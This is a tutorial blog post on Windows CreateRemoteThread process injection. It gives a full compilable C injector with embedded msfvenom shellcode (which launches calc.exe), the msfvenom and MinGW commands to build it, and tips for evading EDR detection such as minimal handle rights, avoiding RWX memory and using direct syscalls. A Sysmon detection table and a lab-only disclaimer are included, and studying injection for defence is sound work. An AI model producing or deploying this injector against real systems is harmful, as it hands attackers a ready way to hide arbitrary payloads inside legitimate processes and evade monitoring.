Basic Process Injection — CreateRemoteThread Technique

// TABLE OF CONTENTS
  1. What Is Process Injection?
  2. Full Source Code
  3. Headers & Includes
  4. Step 1 — Process Enumeration with Toolhelp32
  5. Step 2 — Opening the Target Process
  6. Step 3 — Allocating Remote Memory with VirtualAllocEx
  7. Step 4 — Generating Shellcode with msfvenom
  8. Step 5 — Writing Shellcode with WriteProcessMemory
  9. Step 6 — Executing via CreateRemoteThread
  10. Compiling with GCC / MinGW
  11. Detection & Blue Team Notes
  12. What Comes Next

What Is Process Injection?

Process injection is a technique where an attacker writes and executes code inside the memory space of another running process. Instead of starting a new malicious process — which is noisy and easily detected — the shellcode lives inside a legitimate one. To a process list, to an AV scanner, to a casual analyst, it looks like notepad.exe is just running. Nothing suspicious.

The technique covered here is the most foundational form: CreateRemoteThread injection. It uses four Win32 API calls in sequence to accomplish the entire attack. Understand this one deeply and every more advanced injection variant (APC injection, early bird, thread hijacking, process hollowing) will make immediate sense — they're all solving the same problem with different levels of stealth.

// CREATEREMOTETHREAD INJECTION — EXECUTION FLOW
01 //
CreateToolhelp32Snapshot + Process32Next
Walk the process list to find target PID
ENUM
↓
02 //
OpenProcess(PROCESS_ALL_ACCESS)
Acquire handle with full permissions to target
HANDLE
↓
03 //
VirtualAllocEx(PAGE_EXECUTE_READWRITE)
Allocate RWX memory inside the target process
MEMORY
↓
04 //
WriteProcessMemory
Copy shellcode bytes into the allocated region
WRITE
↓
05 //
CreateRemoteThread
Spawn a thread in the target at the shellcode address
EXECUTE
// DISCLAIMER
This post is written for educational purposes — malware research, red team training, and defensive understanding. All code must be tested only in isolated lab environments with no network access. Never run against systems you do not own or have written permission to test.

Full Source Code

Before breaking it down piece by piece, here is the complete program. Read through it once, then follow the step-by-step breakdown below.

C — basic-process-injector.c
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>

int main(){

    const char* TargetProcess = "notepad.exe";
    DWORD dwPID = 0;
    HANDLE hProcess = NULL;

    /* ── STEP 1: Process enumeration ── */
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if(Process32First(hSnap, &pe32)) {
        do {
            if(_stricmp(pe32.szExeFile, TargetProcess) == 0) {
                dwPID = pe32.th32ProcessID;
                break;
            }
        } while(Process32Next(hSnap, &pe32));
    }
    CloseHandle(hSnap);

    if(dwPID == 0) { printf("No process found!\n"); return 1; }

    /* ── STEP 2: Open the target process ── */
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    if(hProcess == NULL) {
        printf("Error opening process: %lu\n", GetLastError());
        return 1;
    }
    printf("[+] PID found: %lu | Handle: %p\n", dwPID, hProcess);

    /* ── STEP 3: Allocate RWX memory in the target ── */
    SIZE_T PayloadSize = 1024;
    LPVOID RemoteBuffer = VirtualAllocEx(
        hProcess, NULL, PayloadSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(RemoteBuffer == NULL) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        CloseHandle(hProcess); return 1;
    }
    printf("[+] Allocated remote buffer at: %p\n", RemoteBuffer);

    /* ── STEP 4: Shellcode ──
       Generated with:
       msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c
       Replace this payload with your own generated shellcode. */
    const char* MyPayload =
        "\xdb\xcb\xbd\xed\xb4\x88\xce\xd9\x74\x24\xf4\x5a\x29\xc9"
        "\xb1\x31\x31\x6a\x18\x03\x6a\x18\x83\xc2\xe9\x56\x7d\x32"
        "\x19\x14\x7e\xcb\xd9\x79\xf6\x2e\xe8\xb9\x6c\x3a\x5a\x0a"
        "\xe6\x6e\x56\xe1\xaa\x9a\xed\x87\x62\xac\x46\x2d\x55\x83"
        "\x57\x1e\xa5\x82\xdb\x5d\xfa\x64\xe2\xad\x0f\x64\x23\xd3"
        "\xe2\x34\xfc\x9f\x51\xa9\x89\xea\x69\x42\xc1\xfb\xe9\xb7"
        "\x91\xfa\xd8\x69\xaa\xa4\xfa\x88\x7f\xdd\xb2\x92\x9c\xd8"
        "\x0d\x28\x56\x96\x8f\xf8\xa7\x57\x23\xc5\x08\xaa\x3d\x01"
        "\xae\x55\x48\x7b\xcd\xe8\x4b\xb8\xac\x36\xd9\x5b\x16\xbc"
        "\x79\x80\xa7\x11\x1f\x43\xab\xde\x6b\x0b\xaf\xe1\xb8\x27"
        "\xcb\x6a\x3f\xe8\x5a\x28\x64\x2c\x07\xea\x05\x75\xed\x5d"
        "\x39\x65\x4e\x01\x9f\xed\x62\x56\x92\xaf\xe8\xa9\x20\xca"
        "\x5e\xa9\x3a\xd5\xce\xc2\x0b\x5e\x81\x95\x93\xb5\xe6\x6a"
        "\xde\x94\x4e\xe3\x87\x4c\xd3\x6e\x38\xbb\x17\x97\xbb\x4e"
        "\xe7\x6c\xa3\x3a\xe2\x29\x63\xd6\x9e\x22\x06\xd8\x0d\x42"
        "\x03\xbb\xd0\xd0\xcf\x12\x77\x51\x75\x6b";

    SIZE_T SizeofShellcode = strlen(MyPayload) + 1;

    /* ── STEP 5: Write shellcode into remote memory ── */
    BOOL isWritten = WriteProcessMemory(
        hProcess, RemoteBuffer, MyPayload, SizeofShellcode, NULL);

    if(!isWritten) {
        printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
        CloseHandle(hProcess); return 1;
    }
    printf("[+] Shellcode written successfully!\n");

    /* ── STEP 6: Create remote thread to execute shellcode ── */
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)RemoteBuffer,
        NULL, 0, NULL);

    if(hThread == NULL) {
        printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
    } else {
        printf("[+] Remote thread executing shellcode...\n");
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
    }

    CloseHandle(hProcess);
    return 0;
}

Headers & Includes

C
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <tlhelp32.h>

Every Win32 API used in this program flows through these four headers. Understanding what each one provides saves you from link errors and confusing compiler warnings.

HeaderProvides
windows.hThe master Win32 header. Pulls in OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, all type definitions (HANDLE, DWORD, LPVOID, etc.) and constants (PROCESS_ALL_ACCESS, PAGE_EXECUTE_READWRITE, MEM_COMMIT).
string.hProvides strlen() — used to measure shellcode length — and _stricmp() for case-insensitive process name comparison.
stdio.hStandard I/O for printf() debug output.
tlhelp32.hThe Tool Help Library. Defines CreateToolhelp32Snapshot, Process32First, Process32Next, and the PROCESSENTRY32 structure. Without this header, process enumeration is unavailable.

Step 1 — Process Enumeration with Toolhelp32

01 FIND THE TARGET PID

Before you can inject into a process you need its Process ID (PID) — the numeric identifier the kernel uses to track it. Windows doesn't give you a direct "find process by name" API, so the standard approach is to take a snapshot of the entire process list and walk through it.

C
const char* TargetProcess = "notepad.exe";
DWORD dwPID = 0;

// Take a snapshot of all running processes at this moment in time
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

// PROCESSENTRY32 holds info for one process: PID, parent PID, exe name, etc.
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);  // MUST be set before calling Process32First

if(Process32First(hSnap, &pe32)) {
    do {
        // Case-insensitive compare: "notepad.exe" == "Notepad.EXE" → true
        if(_stricmp(pe32.szExeFile, TargetProcess) == 0) {
            dwPID = pe32.th32ProcessID;
            break;
        }
    } while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);  // Always close the snapshot handle

What is a snapshot?

CreateToolhelp32Snapshot asks the kernel for a frozen copy of process/thread/module state at that exact moment. Think of it as a photograph of the process list. The flag TH32CS_SNAPPROCESS tells it we only want the process table — there are equivalent flags for threads (TH32CS_SNAPTHREAD) and loaded modules (TH32CS_SNAPMODULE).

The PROCESSENTRY32 structure is critical — and the dwSize field must be initialized to sizeof(PROCESSENTRY32) before calling Process32First. This is a common Win32 pattern where the API uses the size field to version-check the structure. Forgetting it causes an immediate ERROR_INSUFFICIENT_BUFFER failure.

WIN32 API CreateToolhelp32Snapshot
HANDLE CreateToolhelp32Snapshot(
  DWORD dwFlags,
  DWORD th32ProcessID
);
ParameterTypeDescription
dwFlagsDWORDTH32CS_SNAPPROCESS — include all processes. Other flags: TH32CS_SNAPTHREAD, TH32CS_SNAPMODULE.
th32ProcessIDDWORDPass 0 to snapshot all processes system-wide.
ReturnsHANDLEValid handle on success. INVALID_HANDLE_VALUE on failure. Must be closed with CloseHandle.
MSDN Documentation ↗
WIN32 API Process32First / Process32Next
BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);

Process32First retrieves the first entry from the snapshot and fills lppe. Process32Next advances to the next. Returns FALSE when the list is exhausted — that's the loop termination condition. The szExeFile field of PROCESSENTRY32 holds the executable name (e.g. "notepad.exe").

MSDN Documentation ↗
Red team note: Calling CreateToolhelp32Snapshot generates a kernel event that EDRs monitor. More advanced tradecraft uses NtQuerySystemInformation with SystemProcessInformation via direct syscall to enumerate processes without touching the Toolhelp API at all.

Step 2 — Opening the Target Process

02 ACQUIRE A PROCESS HANDLE

With the PID in hand, the next step is acquiring a handle to that process — a kernel-managed reference object that lets us interact with it. The critical choice here is which access rights to request.

C
// PROCESS_ALL_ACCESS grants every permission: read, write, execute, terminate, etc.
// For a stealth injector you would request only:
// PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);

if(hProcess == NULL) {
    printf("Error opening process: %lu\n", GetLastError());
    return 1;
}

PROCESS_ALL_ACCESS is the "give me everything" flag. It works well in a lab but it's also maximally detectable — any EDR monitoring process handle grants will immediately flag this. In a real engagement, you request the minimum rights needed:

Access RightRequired For
PROCESS_VM_OPERATIONVirtualAllocEx — allocating memory in the target
PROCESS_VM_WRITEWriteProcessMemory — writing shellcode bytes
PROCESS_CREATE_THREADCreateRemoteThread — spawning the execution thread
PROCESS_VM_READOptional — reading back memory to verify the write
WIN32 API OpenProcess
HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL bInheritHandle,
  DWORD dwProcessId
);
ParameterTypeDescription
dwDesiredAccessDWORDAccess rights bitmask. PROCESS_ALL_ACCESS or a combination of specific rights. The kernel will deny if your token doesn't have SeDebugPrivilege for protected processes.
bInheritHandleBOOLFALSE — the handle is not inherited by child processes. Usually false for injection.
dwProcessIdDWORDThe PID of the target process obtained from enumeration.
ReturnsHANDLENon-null handle on success. NULL on failure — call GetLastError() for the reason (often 5 = ACCESS_DENIED).
MSDN Documentation ↗

Step 3 — Allocating Remote Memory

03 CARVE OUT SPACE FOR THE PAYLOAD

Now we have a handle. The shellcode needs somewhere to live inside the target process's virtual address space. VirtualAllocEx is the remote version of VirtualAlloc — it performs the allocation in another process rather than the calling one.

C
SIZE_T PayloadSize = 1024;  // Allocate 1KB — enough for small shellcode payloads

LPVOID RemoteBuffer = VirtualAllocEx(
    hProcess,               // handle to target process
    NULL,                   // let the OS choose the address (no preferred location)
    PayloadSize,            // size in bytes to allocate
    MEM_COMMIT | MEM_RESERVE,   // reserve VA range AND commit physical backing
    PAGE_EXECUTE_READWRITE  // RWX: readable, writable, AND executable
);

if(RemoteBuffer == NULL) {
    printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
    CloseHandle(hProcess);
    return 1;
}
printf("[+] Allocated remote buffer at: %p\n", RemoteBuffer);

MEM_COMMIT | MEM_RESERVE — what's the difference?

MEM_RESERVE stakes out a range in virtual address space — it claims the addresses, but no physical memory or pagefile space is committed yet. MEM_COMMIT backs the reserved range with actual memory pages. You need both together for a usable allocation. Using only MEM_RESERVE would give you addresses that fault immediately on access.

PAGE_EXECUTE_READWRITE — the loud flag

PAGE_EXECUTE_READWRITE (RWX) means the region can be read, written, and executed. For a lab this is fine. In a real engagement this is a screaming detection signal — allocating RWX memory in a remote process is one of the highest-confidence indicators of code injection monitored by every EDR on the market.

The stealthy approach is to use a two-step model: allocate as PAGE_READWRITE, write the shellcode, then change protection to PAGE_EXECUTE_READ using VirtualProtectEx. This is harder to detect because no page is ever simultaneously writable and executable.

WIN32 API VirtualAllocEx
LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flAllocationType,
  DWORD flProtect
);
ParameterTypeDescription
hProcessHANDLEHandle to the target process with PROCESS_VM_OPERATION access.
lpAddressLPVOIDDesired base address hint. Pass NULL to let the OS choose.
dwSizeSIZE_TNumber of bytes to allocate. Will be rounded up to the system page boundary (usually 4096 bytes).
flAllocationTypeDWORDMEM_COMMIT | MEM_RESERVE for a standard allocation.
flProtectDWORDPage protection. PAGE_EXECUTE_READWRITE for lab use. Use PAGE_READWRITE + VirtualProtectEx for stealth.
ReturnsLPVOIDBase address of allocated region on success. NULL on failure.
MSDN Documentation ↗

Step 4 — Generating Shellcode with msfvenom

04 BUILD THE PAYLOAD

Shellcode is raw machine code — bytes that the CPU executes directly, with no loader, no imports, no file headers. It has to be position-independent: it can't rely on being at any specific address because we're placing it in whatever address VirtualAllocEx returned.

msfvenom is the payload generator from the Metasploit Framework. It handles all the complexity of building position-independent shellcode, applying encoders to remove bad characters, and outputting in the format you need.

⚙ MSFVENOM — SHELLCODE GENERATION REFERENCE

// Basic syntax: msfvenom -p <payload> [options] -b <bad_chars> -f <format>

Bash
# The command used to generate the shellcode in this post:
# Payload: windows/exec — executes a command on the target
# CMD: the command to run (calc.exe, notepad.exe, cmd.exe, etc.)
# -b '\x00' — remove null bytes (bad chars that break strlen-based size calculation)
# -f c — output as a C-style char array (matches our const char* variable)
msfvenom -p windows/exec CMD=calc.exe -b '\x00' -f c

# Other useful payload examples:
msfvenom -p windows/exec CMD=notepad.exe -b '\x00' -f c
msfvenom -p windows/exec CMD=cmd.exe    -b '\x00' -f c

# For a 64-bit target process, use the x64 payload variant:
msfvenom -p windows/x64/exec CMD=calc.exe -b '\x00' -f c
FlagWhat It DoesExample Values
-pPayload selection — the type of shellcode to generatewindows/exec, windows/x64/exec, windows/meterpreter/reverse_tcp
CMD=The command to execute (specific to windows/exec payload)calc.exe, notepad.exe, cmd.exe /k whoami
-bBad characters to exclude from the shellcode. The encoder rewrites bytes to avoid these.'\x00' (null), '\x0a\x0d' (newline+CR), '\x00\xff'
-fOutput format — how the shellcode bytes are formatted in the output filec (C array), python, raw, hex, exe

Why remove null bytes with -b '\x00'?

The code uses strlen(MyPayload) + 1 to calculate shellcode size. strlen counts until it hits a \x00 (null terminator). If the shellcode contains a null byte anywhere in the middle, strlen stops early and WriteProcessMemory copies an incomplete payload — resulting in a crash or silent failure. The -b '\x00' flag tells msfvenom's encoder to rewrite the shellcode so no null bytes appear in the final output.

// BETTER PRACTICE
Instead of relying on strlen — which is fragile and only works on null-terminated shellcode — use a fixed-size byte array: unsigned char MyPayload[] = { ... }; and pass sizeof(MyPayload) to WriteProcessMemory. This works correctly regardless of embedded null bytes.

Step 5 — Writing Shellcode with WriteProcessMemory

05 COPY THE PAYLOAD

The memory is allocated. The shellcode is ready. Now we copy the bytes across process boundaries into the remote buffer using WriteProcessMemory.

C
SIZE_T SizeofShellcode = strlen(MyPayload) + 1;

BOOL isWritten = WriteProcessMemory(
    hProcess,           // target process handle
    RemoteBuffer,       // destination address INSIDE the target process
    MyPayload,          // source buffer — shellcode bytes in OUR process
    SizeofShellcode,    // number of bytes to copy
    NULL                // optional: pointer to receive actual bytes written
);

if(!isWritten) {
    printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
    CloseHandle(hProcess);
    return 1;
}
printf("[+] Shellcode written successfully!\n");

What's happening under the hood: WriteProcessMemory is a kernel operation that temporarily suspends page protection on the target region, performs the cross-process memory copy, then restores the protection. It's essentially the same mechanism used by debuggers to set software breakpoints. The kernel validates both addresses — source must be readable in our process, destination must be writable in the target.

WIN32 API WriteProcessMemory
BOOL WriteProcessMemory(
  HANDLE hProcess,
  LPVOID lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T nSize,
  SIZE_T* lpNumberOfBytesWritten
);
ParameterTypeDescription
hProcessHANDLETarget process handle. Must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access.
lpBaseAddressLPVOIDDestination address in the target process's VA space — the value returned by VirtualAllocEx.
lpBufferLPCVOIDSource buffer in the calling process containing the data to write (our shellcode).
nSizeSIZE_TNumber of bytes to write.
lpNumberOfBytesWrittenSIZE_T*Optionally receives how many bytes were actually written. Pass NULL to ignore.
ReturnsBOOLTRUE on success. FALSE on failure — check GetLastError().
MSDN Documentation ↗

Step 6 — Executing via CreateRemoteThread

06 PULL THE TRIGGER

The shellcode is sitting in the target process's memory, waiting. CreateRemoteThread is the final step — it asks the OS to create a new execution thread inside the target process, starting at the address of our shellcode. From that point the payload is running as part of notepad.exe.

C
HANDLE hThread = CreateRemoteThread(
    hProcess,                              // target process
    NULL,                                  // default security descriptor for the thread
    0,                                     // default stack size
    (LPTHREAD_START_ROUTINE)RemoteBuffer,  // start address = shellcode location
    NULL,                                  // no parameter passed to thread function
    0,                                     // thread runs immediately (not suspended)
    NULL                                   // we don't need the thread ID
);

if(hThread == NULL) {
    printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
} else {
    printf("[+] Remote thread executing shellcode...\n");
    // Block until the thread finishes (calc.exe opens and closes)
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
}

CloseHandle(hProcess);

The cast (LPTHREAD_START_ROUTINE)RemoteBuffer deserves attention. LPTHREAD_START_ROUTINE is the function pointer type for thread start routines — DWORD WINAPI ThreadProc(LPVOID lpParameter). Our shellcode obviously doesn't have that signature, but the cast tells the compiler to treat the address as if it does. The CPU doesn't know or care — it will jump to that address and start executing whatever bytes are there.

WaitForSingleObject(hThread, INFINITE) blocks our injector process until the remote thread finishes. For a calc.exe payload that means waiting until the calculator closes. In real tooling you wouldn't wait — you'd fire and forget, immediately closing all handles to reduce your footprint.

WIN32 API CreateRemoteThread
HANDLE CreateRemoteThread(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);
ParameterTypeDescription
hProcessHANDLETarget process. Must have PROCESS_CREATE_THREAD, PROCESS_VM_OPERATION, and PROCESS_VM_WRITE access.
lpThreadAttributesLPSECURITY_ATTRIBUTESSecurity descriptor for the new thread. NULL = default.
dwStackSizeSIZE_TInitial stack size. 0 = use the target's default stack size.
lpStartAddressLPTHREAD_START_ROUTINEThe address the thread starts executing. We pass the address of our shellcode in the remote process.
lpParameterLPVOIDSingle argument passed to the thread function. NULL for shellcode (it doesn't use parameters).
dwCreationFlagsDWORD0 = start immediately. CREATE_SUSPENDED = create suspended, then resume with ResumeThread.
lpThreadIdLPDWORDReceives the new thread ID. Pass NULL to ignore.
ReturnsHANDLEHandle to the new thread, or NULL on failure.
MSDN Documentation ↗

Compiling with GCC / MinGW

This code targets the Windows API so it must be compiled with a Windows-compatible compiler. MinGW-w64 (Minimalist GNU for Windows) provides GCC with the full Win32 SDK headers and libraries. You can compile natively on Windows or cross-compile from Linux.

On Windows (MinGW-w64 installed)

Bash / CMD
# 32-bit target (x86) — matches windows/exec payload (no /x64)
gcc basic-process-injector.c -o injector32.exe -m32

# 64-bit target (x86_64) — matches windows/x64/exec payload
gcc basic-process-injector.c -o injector64.exe -m64

# If compilation gives linker errors for Win32 APIs, add the library flags explicitly:
gcc basic-process-injector.c -o injector.exe -m64 -lkernel32 -luser32

# Optional: strip debug symbols to reduce binary size
gcc basic-process-injector.c -o injector.exe -m64 -s

Cross-compiling from Linux (Kali / Parrot)

Bash
# Install MinGW cross-compiler on Debian/Kali/Ubuntu:
sudo apt install mingw-w64 -y

# Cross-compile for 64-bit Windows from Linux:
x86_64-w64-mingw32-gcc basic-process-injector.c -o injector64.exe

# Cross-compile for 32-bit Windows from Linux:
i686-w64-mingw32-gcc basic-process-injector.c -o injector32.exe

# With explicit library linkage if needed:
x86_64-w64-mingw32-gcc basic-process-injector.c -o injector64.exe \
    -lkernel32 -luser32 -static-libgcc
// 32-BIT vs 64-BIT MATTERS
The shellcode architecture must match the target process architecture. A 32-bit shellcode (windows/exec) injected into a 64-bit process (notepad.exe on a 64-bit Windows) will crash immediately. Use windows/x64/exec for 64-bit targets and compile with -m64. To check: notepad.exe on 64-bit Windows is a 64-bit process. notepad.exe in C:\Windows\SysWOW64\ is the 32-bit version.

Verify compilation succeeded

Bash
# Check the output binary architecture:
file injector64.exe
# Expected: PE32+ executable (console) x86-64

file injector32.exe
# Expected: PE32 executable (console) Intel 80386

Detection & Blue Team Notes

Every step of CreateRemoteThread injection leaves artifacts. Understanding what they are is essential for building detection and for evolving the technique toward better evasion.

ActionDetection ArtifactMonitoring Method
CreateToolhelp32SnapshotProcess opens a handle to the system process listETW — Microsoft-Windows-Kernel-Process provider
OpenProcess(PROCESS_ALL_ACCESS)Excessive access rights on handle creationEvent ID 4656 (Object Access) · EDR handle telemetry
VirtualAllocEx(PAGE_EXECUTE_READWRITE)RWX allocation in a foreign processEDR memory allocation callbacks · NtAllocateVirtualMemory hooks
WriteProcessMemoryCross-process memory writeEDR VM write callbacks · NtWriteVirtualMemory hooks
CreateRemoteThreadThread start address is not inside any loaded moduleEvent ID 8 (Sysmon) · EDR thread creation callbacks
Shellcode executionShellcode bytes in memory scan, anomalous RWX regionSysmon Event ID 17/18 · memory scanner signatures
// THE LOUDEST SIGNAL
Sysmon Event ID 8 (CreateRemoteThread) is logged every time this technique is used without evasion. It records: the source process, the target process, the start address, and the start module — which will show as outside any loaded DLL when pointing to a raw shellcode allocation. This is one of the most reliable detections for this classic technique.

What Comes Next

CreateRemoteThread injection is the foundation. Every technique that comes after it is an answer to the question: "how do we do the same thing with fewer detection signals?"

Key insight: The detection problem for defenders is that the underlying kernel operations for all these techniques are identical — allocate memory, write bytes, redirect execution. What changes is which Win32 APIs are called, and therefore which hooks and callbacks fire. The most advanced techniques avoid user-land APIs entirely.
// TAKEAWAY
Build this, compile it, run it in a VM against a Sysmon-instrumented lab and watch the Event IDs fire. The best way to understand what a detection catches is to trigger it yourself and read the log. Then modify one step at a time and see which events disappear.

// All code written and tested in isolated VM environments. For educational and defensive security research only. Never use against systems you do not own.